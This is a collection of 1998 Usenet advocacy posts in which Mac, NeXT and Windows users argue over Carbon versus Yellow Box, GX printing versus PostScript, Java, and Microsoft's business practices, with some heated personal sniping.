References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <oB5f1.12152$Kx3.12551461@news.rdc1.sdca.home.com> <markeaton-0906981939020001@user-38ld6dj.dialup.mindspring.com>
In article
<markeaton-0906981939020001@user-38ld6dj.dialup.mindspring.com>,
markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
> In article <oB5f1.12152$Kx3.12551461@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> >
> > Nah... don't need to. Carbon runs only on TOP of YellowBox (YB) API's.
> > There's no YB in 8.5, 8.6 and 9.0.
>
> This is completely untrue. Carbon runs directly on the MacOS X core OS.
We really don't have proof of either yet. However, since Carbon is
procedurally based and YB is object it seems probable that Carbon accesses
core OS functionality SHARED by YB. Some might just interface right
through while some of YB might be built to be ported over it (like the new
graphics model).
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 04:43:55 GMT
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6ll2ub$pn8$3@supernews.com>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <slrn6np2pe.2vc.jason@jhste1.dyn.ml.org>
<6livgp$9m9$2@ns3.vrx.net> <6lkmp9$bjf$1@supernews.com>
<6lkri9$dj5$1@crib.corepower.com>
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Cc: nurban@crib.corepower.com
Nathan Urban may or may not have said:
-> In article <6lkmp9$bjf$1@supernews.com>, jcr.remove@this.phrase.idiom.com
wrote:
->
-> > Actually, when it comes to the core OS, Linux isn't too shabby. It's
already
-> > the most securable UNIX there is,
->
-> I think that OpenBSD would likely give Linux quite a run for its money in
-> the security area. It's been through an extensive professional security
-> audit. (Rumor has it that Apple may be adapting OpenBSD userland aspects
-> for their security aspects.)
Well, speaking as one who has managed those kind of extensive professional
security audits, (I used to be the Data Security Manager for KPMG Peat
Marwick's Electronic Commerce group) I'd still put my money on the
Open-source OS that's most *widely* used and scrutinized.
The work that the OpenBSD crowd is doing is useful, certainly, and holes
found in OpenBSD often exist in Linux (There's a lot of shared code,
especially in the /bin and /usr/bin utilites) and are patched within days of
their discovery.
All data security depends on alert operators, but an Open Source OS can
certainly help.
-jcr
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 10 Jun 1998 02:55:38 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1006980255380001@jchristie.halifaxcable.dal.ca>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <Xo5f1.12150$Kx3.12551461@news.rdc1.sdca.home.com> <rmcassid-0906980844350001@dante.eng.uci.edu> <markeaton-0906981947510001@user-38ld6dj.dialup.mindspring.com>
In article
<markeaton-0906981947510001@user-38ld6dj.dialup.mindspring.com>,
markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
> In article <rmcassid-0906980844350001@dante.eng.uci.edu>, rmcassid@uci.edu
> (Robert Cassidy) wrote:
>
> >
> > Well, anything based on the Mac Toolbox will *not* have anything that the
> > Next community would consider to be good architectural design, unless
> > Apple does some *serious* reworking there. And that undermines the purpose
> > of Carbon. No, Carbon *should* be some sort of Jurassic Park experiment
> > gone well. Brought forward in time as a convenience and novelty, but not
> > with the intention of further evolution.
> >
>
> Its really up to developers. If developers run out and adopt AppKit in
> massive droves, then maybe Carbon will be a "Jurrassic Park". If
Carbon will not be a "Jurassic Park" until MS and Adobe no longer need
it or they are ousted from the kingpin positions. That ain't going to
happen soon.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 09:37:58 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6llk5m$c8f$1@news.cs.tu-berlin.de>
References: <6lbcfa$adf$8@ironhorse.plsys.co.uk> <B19EACC1-CEDD@206.165.43.165> <35796BDB.2AEDD69@trilithon.com> <ldo-1006981543490001@a53.hn3.wave.co.nz>
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ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro) writes:
>In article <35796BDB.2AEDD69@trilithon.com>, Henry McGilton
><henry@trilithon.com> wrote:
>>Lawson English wrote:
>>
>> * This isn't simply a dialog-box issue, but an issue over
>> * what the driver can tell the end-user/application/extension.
>> * GX printing defines over 100 printing-related messages that
>> * can be sent from printer-driver to end-user and/or application
>> * and/or printing-extension. Each can be overridden/extended at
>> * various points along the printing process.
>>This exercise was the impetus for PPD files. You take the
>>description of printer-specific features out into files
>>that the printing system can interrogate.
>And what a poor, limited solution they are, too.
Hmm, that translates to 'plain and easy' for me.
They are declarative, reasonably compact, plain
ASCII with no need for compilation or anything
like that.
>Besides which, the user interface for accessing their options from
>PostScript printer drivers is generally agreed to be terrible.
Which PS drivers? LW 8.x on the Mac? I find the Options Panel
of the NS/OS Print Panel to be just fine, though I sometimes
wished for grouping or non-pop-up UI elements. OTOH, those
wishes usually disappeared, they were typically an indicator
that I was getting carried away with printer options. After
all, 99.9% of users don't want to spend hours figuring out
or playing with a print dialog. They want to hit print and
everything should 'Just Work (tm)'.
Simplify, simplify, simplify.
>No wonder the GX printing engineers had
>very little enthusiasm for them: with GX printing, it was so easy to write
>your own custom printer driver for a PostScript printer, built on the
>standard PostScript generator built into GX itself, yet giving access to
>all the special features of your printer, in a nicer way than you could
>get via any PPD.
You mean writing code just to interface to a specific Postscript printer?
Ouch! Although it seems pretty typical of the 'GX mentality'.
>>With PS fading out, the PPD formats will likely need to be extended to
>>support non-PS printers.
>Oh no. Please, let the PPD concept die the death it deserves.
Replace it with something even simpler!
Marcel
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 09:39:54 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6llk9a$c8r$1@news.cs.tu-berlin.de>
References: <ldo-1006981642350001@a53.hn3.wave.co.nz>
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ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro) writes:
[..]
>Lawrence
>still waiting for somebody to prove me wrong
Lawrence,
you don't read any followups to your posts, do you? Just
about any particular one should do.
Marcel
From: "Tim Hawkins" <TimHawkins@email.msn.com>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <6k6rm6$nkn$5@ligarius.ultra.net> <3578a103.7795788@news.supernews.com> <6kkgk9$2h7$2@gte1.gte.net> <6kl05l$k1$1@inconnu.isu.edu> <slrn6mtk1e.2rc.jedi@dementia.mishnet>
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 10 Jun 1998 10:50:06 +0100
Message-ID: <uWKsMaFl9GA.268@upnetnews02.moswest.msn.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
jedi wrote in message ...
>On 28 May 1998 18:40:21 -0600, Craig Kelley <ink@inconnu.isu.edu> wrote:
>>In article <6kkgk9$2h7$2@gte1.gte.net>, Roger <rfelts@.> wrote:
>>
>> [ snip about how third-party browsers are not usable due to IE
integration ]
>>
>>->Which functionality is modular, and could be replaced with another
>>->.DLL which exposes the same interfaces. Which interfaces are publicly
>>->documented.
>>
>>Too much trouble; see other responses in this thread.
>
> Simply replacing whole applications, is much more
> modular and less system specific. The Apps programmer
> doesn't have to bother themselves with the details
> of the abstraction. The other app can handle all of
> that and include as much or as little functionality
> (even from DLLs) as may be wanted.
But not nearly so flexible, the IE HTML rendering engine, not only exposes
the interfaces that allow instaniation of a rendering
view inside your app, and external navigation controls so you can fill it
with HTML data, they also expose the internal render's
parse tree of the HTML so you can dynamicaly alter the view after it has
been rendered and dynamicaly rerender parts of it.
In the furure it is quite probable that MS will drop the "resource" format
for dialogs and substitute DTHML instead.
The lastest "preview" version of all of thier development tools have added
an "HTML" resource type to the resource editor.
The Preview version of VC++ with the IE4 extensions, allows full access to
the Document object model allowing DHTML to be used
for creating rich dialogs and forms for applications that are attached to
VC++, Java and Visual Basic code. Such dialogs would
have full access to DHTML, CSS and DirectAnimation.
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 10:03:20 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6llll8$cr3$1@news.cs.tu-berlin.de>
References: <ldo-1006981642350001@a53.hn3.wave.co.nz>
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ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro) writes:
>In <slrn6ndqdj.mjt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
>NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel) wrote:
>>On 4 Jun 1998 09:27:01 -0700, Lawson English <english@primenet.com> wrote:
>>:mmalcolm crawford <malcolm@plsys.co.uk> said:
>>:
>>:>In <ldo-0406982006200001@a24.hn1.wave.co.nz> Lawrence D*Oliveiro
>>:>wrote:
>>:>>
>>:>> GX is the most elegant and compact solution to this problem that
>>:anyone
>>:>> has ever come up with. (Go on, prove me wrong...)
>>:>>
>>:>At a guess: ATSUI.
>>:
>>:For handling of multiple languages (leaving aside the unified Han
>>:issue), ATSUI will likely do everything that GX does, formatting-wise.
>>:However, there's lots of extra high-end stuff that I'm betting hasn't
>>:made it into the first version of ATSUI and may never make it it
>>:unless programmers ask for it.
>>
>>Reread "elegant and compact solution".
>Bzzt. Thank you for playing, but I think Lawson wins this one. ATSUI is
>going to be Unicode-centric, right? (Hence the name.)
Supposedly.
>Unfortunately, the
>world isn't going to move entirely to Unicode in the next five years, or
>ten. There are loads of national character sets that we will have to deal
>with in the meantime.
You're confused. Unicode-centric != Only unicode allowed
For example, the Foundation Kit's string classes are unicode-centric.
Every string can behave *as if* it were stored as a Unicode string.
However, strings are not necessarily stored as Unicode strings, nor
are they limited to Unicode behavior. Many strings are stored in
C-String coding, using optimized subclasses.
So, I don't see a fundamental problem here, because other encodings
can be handled, even if your system is nominally unicode based.
Marcel
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
References: <slrn6nqsvm.ntc.ben@ben.tapehouse.net> <B1A2FE3D-A87E5@206.165.43.79> <slrn6nrftj.4kc.jason@jhste1.dyn.ml.org>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <357dfc2f.0@206.25.228.5>
Date: 10 Jun 98 03:23:27 GMT
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Lawson English posted the following to comp.sys.mac.advocacy:
> >If you must judge a group or individual, do so on the basis of
> >how they treat people that they *disagree* with.
> Exactly. I'd bet that Klansmen are really nice to one another
> too.
I'd bet you're not betting.
> Flame away, mmmmmmalcolm.
> Whenever you find that you are on the side of the majority, it
> is time to reform.
> -- Mark Twain
I'm trying to see things from your perspective, but I can't get my head
that far up my ass.
-- Someone that had you in mind.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 10 Jun 1998 03:19:37 GMT
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6lku09$92m$1@supernews.com>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu <rmcassid-0806981539290001@dante.eng.uci.edu>
<6lji4s$pns$1@new-news.cc.brandeis.edu> <slrn6nr3ac.ntc.ben@ben.tapehouse.net>
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Cc: ben@ben.tapehouse.net
Ben Rosengart may or may not have said:
-> In article <6lji4s$pns$1@new-news.cc.brandeis.edu>, Nathan G. Raymond
wrote:
-> >
-> >Four years ago Sun came and made a presentation on Java to Brandeis
-> >University, and my cosci prof. came away very underwhelmed. Java is not
-> >so much about good tech., as it is the buzzword du jour, and clearly
-> >buzzwords impact certain markets.
->
-> Is this your opinion, or did you borrow it from your prof? Java's no
-> panacea, true, but Sun did some seriously impressive things with it, and I
-> wonder why you have such a low view of it.
Maybe... He's had his hands on Smalltalk, Objective-C, Python, Eiffel, or any
other well-designed OO development language?
Just a guess...
-jcr
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 10 Jun 1998 03:28:10 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6lkuga$cog$1@new-news.cc.brandeis.edu>
References: <357DA1EF.3BF4863A@nstar.net> <rmcassid-0906981430270001@dante.eng.uci.edu> <357DB214.61F68493@nstar.net>
In article <357DB214.61F68493@nstar.net> "Michael J. Peck" <mjpeck@nstar.net> writes:
[snip]
>Traditionally (inasmuch as Java has a tradition), Java's delivery has
>lacked polish, as you say. Sun has demonstrated that it recognizes this;
>as I say, I can't judge the results of their efforts. However, I do know
>that Java's target is Windows.
I've never gotten the sense that Java's targe is Windows - I got the sense
that Sun would like to take over the computing world with it, its way.
Like the Java-on-a-chip they were talking about a couple of years ago
(haven't they reached first silicon on this?) And through thin-clients,
embedded systems, etc...
>If anything can be expected from Java, it
>is "polish" inasmuch as Windows has "polish".
I don't think Windows is smiled upon by Sun in any way...
>I don't think that Windows
>lacks grace altogether. There is much that is good that can be said of
>it.
What good can be said about Windows from a technical standpoint? Please
enlighten me what Windows has brought the world other than a wonderful
marketing effort and the greatest collected work of non-creativity,
non-invention, and no-thought ever. Windows 1.0 didn't even have
overlapping windows. Windows 2.0 wasn't even as good as dosshell.
Windows 3.0 was seriously flawed. As I see it, by the time Microsoft
released Windows 3.1 (strategically screwing over IBM with what was
supposed to be a cooperative OS/2 effort), Microsoft had a good look at
everything from the inside of MacOS to the Amiga Workbench, Atari's GUI,
NeXTSTEP, HP OpenView, and a whole cadre of other, better GUIs. And they
could have come up with some completely new metaphors, and pushed
everything to new levels of robustness. However, Microsoft has always
demonstrated a single-minded purpose of making as much money as possible
and optimizing for that, and only that. Good things that get into
Microsoft products are side-effects of the make-as-much-money underlying
principle. When MS doesn't have to, they won't. Taken from a technical
standpoint, Windows comes out mediocre at best, dreadful at worst, taken
from a market standpoint, its the winner with the big share and the
zillion books and zillion magazines and zillion stores and zillion
third-party product and a zillion MS-certified training courses. MS is
just now trying to force educational institutions to pay not 100 licenses
for 100 simultaneous copies of their products being run from campus
servers, but a license for the size of all networked computers on campus,
even if they will never run it at once or even if the server is set up to
allow it. I find it VERY humorous that the Intel (and I stress Intel)
grants to universities all stipulate that the recipients can only run MS
operating systems on the Intel computers purchased with the grant money.
The grant isn't coming from MS, has nothing to do with them on paper,
other than Intel's stipulation. AFAIK, MIT has no Windows clusters, just
UNIX everywhere (Andrew File System, RevRDist daemons on every machine).
They just got a big Intel grant - MS must be happy.
Given the resources MS has had at its disposal, the work that has gone
before it, the giant head-starts and opportunities given to it by the , it
has continuously fallen short of competent. "Stay within the envelope,
except when the market makes you venture out," is their silent motto. If
the rest of the industry stopped, so would MS.
When was the last time you heard MS or the press talk about Cairo?
--
Nathan Raymond
http://www.everythingmac.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115> <357C5D13.B2FEFA62@bcomp.com> <6litsc$37f$1@sun27.hrz.tu-darmstadt.de> <heksterb-0906981229210001@ben-linux.releasesoft.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <357dff17.0@206.25.228.5>
Date: 10 Jun 98 03:35:51 GMT
heksterb@odyssey.co.il (Ben Hekster) wrote:
> In article <6litsc$37f$1@sun27.hrz.tu-darmstadt.de>,
> neuss.nos-pam@informatik.th-darmstadt.de.nos-pam wrote:
> > Well, I wouldn't at all be surprised if "Lawson English" turned
> > out to be a heuristic algorithm, [...]
> That's a bit unfair-- I think Lawson is raising some very valid
> points that merit at least consideration. Although I never got
> very far into GX, it does seem like an intriguingly well-designed
> 2D graphics library, and I for one welcome some serious discussion
> of its strengths and weaknesses. Methinks that GX's and Lawson's
> detractors doth oft protest too much.
I agree with the spirit of what you are saying here. And actually,
the deJaNews record will show that many have hashed many serious
issues out with Lawson and others since the announcement of the
NeXT buy out. Since many of us are still here, it gets irking, at
the very least, to re-hash already re-hashed topics. You can only
debate a topic so many times before it becomes like a torture.
Kind of like hearing the same song over and over and over; a play
will come when you just want it to stop. So I think that is some
people's reluctance to broach the topic yet again; at least it is
for me.
However, I absolutely *do* agree with you that Lawson served a very
useful role in forcing the topic. There certainly things that he
pointed out in GX that I would like to to see survive in one form
or another. I genuinly appreciate the education.
> Personally, I believe that Apple at heart is (or should be)
> a technology innovator and leader, not a mindless follower,
> and that this is the only way it will continue to distinguish
> itself in the marketplace. it's a darned shame that GX got
> pulled before it ever had a chance to prove itself.
Well, I think in manyways it did prove itself, and did have plenty
of time. Theory, implementation, they're different. YMMV.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 9 Jun 1998 23:39:00 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6lkv4k$dnp$1@crib.corepower.com>
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79> <slrn6nrmih.526.jason@jhste1.dyn.ml.org>
In article <slrn6nrmih.526.jason@jhste1.dyn.ml.org>, jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Lawson English posted the following to comp.sys.mac.advocacy:
> Why do you waste your time on these people, Lawson? They will never
> actually read your posts and respond intelligently;
<snicker> You are apparently unaware of the _years_ worth of ignorant
postings originating from Lawson. It's not like people just jumped on
him because he was saying GX was better than DPS. It's because he's
exceptionally ignorant of DPS and the majority of his claims have just
been plain _wrong_. (The correct ones are usually about features that
we consider esoteric and obscure and not worth bothering with. Which is
of course our _opinion_.)
> Kheit and Urban's responses to my recent post convince me of this. We
> find them to be assholes because they're "almost always right"? Please.
> These people....
<sarcasm>
Gosh, I wasn't aware that we weren't allowed to make an
_informed_ judgement of the relative merits of various platforms and
come to the conlusion that the one we're using is the best. Is this a
privilege exclusively reserved for you?
</sarcasm>
Clue: I've used NEXTSTEP, MacOS, Win95, WinNT, OS/2, and just about
every major Unix/X configuration under the sun including Solaris, AIX,
OSF/1, Ultrix, Irix, Linux, the Hurd, etc. I've even had most of them
installed on my PC at home. Of them, I've used NEXTSTEP, NT, MacOS,
Linux (including four years of sysadmining a Linux box), and Ultrix quite
extensively. There is a reason why I chose to make NEXTSTEP my primary
operating system despite the disadvantages I mentioned in my other post
(having to customize hardware, lack of software availaiblity, etc.)
The reason is that I believe that it, overall, is the technically the
best of every alternative I have tried.
I don't understand what mental deficiency makes you incapable of realizing
that the people who _choose_ to use a particular operating system (rather
than having it forced on them) are obviously going to think that it is
overall the best choice around. You're perfectly welcome to disagree,
but it is absurd to claim that those who think their OS is best are
"arrogant" or "assholes". They made their judgement, and what works for
them isn't necessarily what works for you. Recognize that, and grow up.
From: Modula2000@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: Wed, 10 Jun 1998 10:50:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6lloe3$1hq$1@nnrp1.dejanews.com>
References: <6lk75t$afl@newsb.netnews.att.com> <357db981.0@d2o101.telia.com>
In article <357db981.0@d2o101.telia.com>,
"Peter Bj=?ISO-8859-1?B?+HJuIFBlcmxz+A==?=" <peter.perlso@ngg.dk> wrote:
>
> Why just skip Microsoft entirely? :=)
>
Why not just skip Microsoft entirely?
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 03:20:44 GMT
Organization: Digital Fix Development
Message-ID: <6lku2c$gsd$1@news.digifix.com>
References: <6lkh74$m9t$2@ironhorse.plsys.co.uk> <B1A31F69-125386@206.165.43.79> <slrn6nrlp3.515.jason@jhste1.dyn.ml.org>
In-Reply-To: <slrn6nrlp3.515.jason@jhste1.dyn.ml.org>
On 06/09/98, Jason S. wrote:
>Lawson English posted the following to comp.sys.mac.advocacy:
>
>>mmalcolm crawford <malcolm@plsys.co.uk> said:
>
>>Which of the above response[s] did these kids have?
>
>Lawson, mmmmmalcolm lives in England. He's one of _those_ people.
>Remember Golding's "Lord of the Flies"? He's English - they're
>the best.
>
Malcolm's English? Wow.. that must be news to him.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <petrichEuC1E2.E5u@netcom.com>
Organization: Netcom
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net>
Date: Wed, 10 Jun 1998 11:03:38 GMT
Sender: petrich@netcom11.netcom.com
In article <6l72if$mp9$1@news.smart.net>, KAZ Vorpal <kaz@smart.net> wrote:
>...remember that all tax revenue is the result of
>holding a gun to somebody's head.
Just like protection of life, liberty, and property:
If you steal from someone, try to enslave someone, or even kill
someone, you will be fined or tossed in jail.
If you refuse to pay the fine, you'll be tossed in jail anyway.
If you try to escape from jail, you'll be shot.
So protection of life, liberty, and property are all done by
putting guns to people's heads.
[Paraphrase of PJ O'Rourke]
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <petrichEuC1In.ECu@netcom.com>
Organization: Netcom
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net>
Date: Wed, 10 Jun 1998 11:06:23 GMT
Sender: petrich@netcom11.netcom.com
In article <6l72if$mp9$1@news.smart.net>, KAZ Vorpal <kaz@smart.net> wrote:
>So which is it? Are they not important enough for harm to them
>to harm the industry? Or are they important enough to allegedly
>need prosecution, in which case the industry /must/ be harmed
>by their suffering.
Actually, the computer business would be *helped* by M$'s
suffering; yes, Mr. Vorpal, I know how much your heart bleeds for M$'s
leaders.
With M$ being much less trouble, then we can see some more honest
competition.
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Wed, 10 Jun 1998 15:43:49 +1200
Organization: Geek Central
Message-ID: <ldo-1006981543490001@a53.hn3.wave.co.nz>
References: <6lbcfa$adf$8@ironhorse.plsys.co.uk> <B19EACC1-CEDD@206.165.43.165> <35796BDB.2AEDD69@trilithon.com>
In article <35796BDB.2AEDD69@trilithon.com>, Henry McGilton
<henry@trilithon.com> wrote:
>Lawson English wrote:
>
> * This isn't simply a dialog-box issue, but an issue over
> * what the driver can tell the end-user/application/extension.
> * GX printing defines over 100 printing-related messages that
> * can be sent from printer-driver to end-user and/or application
> * and/or printing-extension. Each can be overridden/extended at
> * various points along the printing process.
>This exercise was the impetus for PPD files. You take the
>description of printer-specific features out into files
>that the printing system can interrogate.
And what a poor, limited solution they are, too. Besides which, the user
interface for accessing their options from PostScript printer drivers is
generally agreed to be terrible. No wonder the GX printing engineers had
very little enthusiasm for them: with GX printing, it was so easy to write
your own custom printer driver for a PostScript printer, built on the
standard PostScript generator built into GX itself, yet giving access to
all the special features of your printer, in a nicer way than you could
get via any PPD.
>With PS fading out, the PPD formats will likely need to be extended to
>support non-PS printers.
Oh no. Please, let the PPD concept die the death it deserves.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 9 Jun 1998 17:37:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A32350-133E43@206.165.43.79>
References: <B1A31F69-125386@206.165.43.79>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Lawson English <english@primenet.com> said:
>mmalcolm crawford <malcolm@plsys.co.uk> said:
>
>>Once upon a time there was a little boy who went round to some other
>>peoples'
>>house, bringing with him a half-finished Meccano set. The people in the
>>house were already happily playing with a Lego set which did lots of
>useful
>>things, but the little boy kept on insisting that they should play with
>the
One interesting point: the little boy was *already* living in the house.
The "half-finished Meccano set" was the pride and joy of the people living
in the house before the other kids arrived, and they somehow managed to
convince everyone that THEY were the original owners and hence had all the
rights pertaining thereof.
And they made remarks about all the occupants' favorite toys that were
generally hostile, disparaging and rather snotty, not to mention, untrue.
E.G.:
"Once upon a time there was a little boy who went round to some other
peoples' house, bringing with him a half-finished Meccano set."
Mac users come first in MY book. GX runs on every System 7.1+ machine that
can display color. That means it is useful to far, FAR more Macintosh users
than your fine and dandy Lego set, no matter how superior for several
years.
So, on behalf of all the 10 million + Mac owners (and there will be 10
million+ in this category for at least another 5-10 years) who can't use
your spiffy Lego set:
[favorite flame-bait goes here]
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 00:41:28 GMT
Organization: I don't think so
